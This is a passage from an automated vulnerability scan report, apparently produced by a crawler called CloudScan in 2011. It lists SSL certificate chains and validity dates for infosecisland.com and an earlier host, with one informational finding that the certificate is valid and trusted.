Issued by:	Network Solutions Certificate Authority
Valid from:	Fri May 02 19:00:00 CDT 2008
Valid to:	Sat Oct 22 18:59:59 CDT 2011

Certificate chain #1

Issued to:	Network Solutions Certificate Authority
Issued by:	UTN-USERFirst-Hardware
Valid from:	Sun Apr 09 19:00:00 CDT 2006
Valid to:	Sat May 30 05:48:38 CDT 2020

Certificate chain #2

Issued to:	UTN-USERFirst-Hardware
Issued by:	UTN-USERFirst-Hardware
Valid from:	Fri Jul 09 13:10:42 CDT 1999
Valid to:	Tue Jul 09 13:19:22 CDT 2019

34.4. https://www.infosecisland.com/ previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.infosecisland.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.infosecisland.com
Issued by:	Go Daddy Secure Certification Authority
Valid from:	Wed Jul 22 14:38:30 CDT 2009
Valid to:	Sat Jun 18 08:21:49 CDT 2011

Certificate chain #1

Issued to:	Go Daddy Secure Certification Authority
Issued by:	Go Daddy Class 2 Certification Authority
Valid from:	Wed Nov 15 19:54:37 CST 2006
Valid to:	Sun Nov 15 19:54:37 CST 2026

Certificate chain #2

Issued to:	Go Daddy Class 2 Certification Authority
Issued by:	http://www.valicert.com/
Valid from:	Tue Jun 29 12:06:20 CDT 2004
Valid to:	Sat Jun 29 12:06:20 CDT 2024

Certificate chain #3

Issued to:	http://www.valicert.com/
Issued by:	http://www.valicert.com/
Valid from:	Fri Jun 25 19:19:54 CDT 1999
Valid to:	Tue Jun 25 19:19:54 CDT 2019

Certificate chain #4

Issued to:	http://www.valicert.com/
Issued by:	http://www.valicert.com/
Valid from:	Fri Jun 25 19:19:54 CDT 1999
Valid to:	Tue Jun 25 19:19:54 CDT 2019

Report generated by CloudScan Vulnerability Crawler at Sun Feb 06 12:47:29 CST 2011.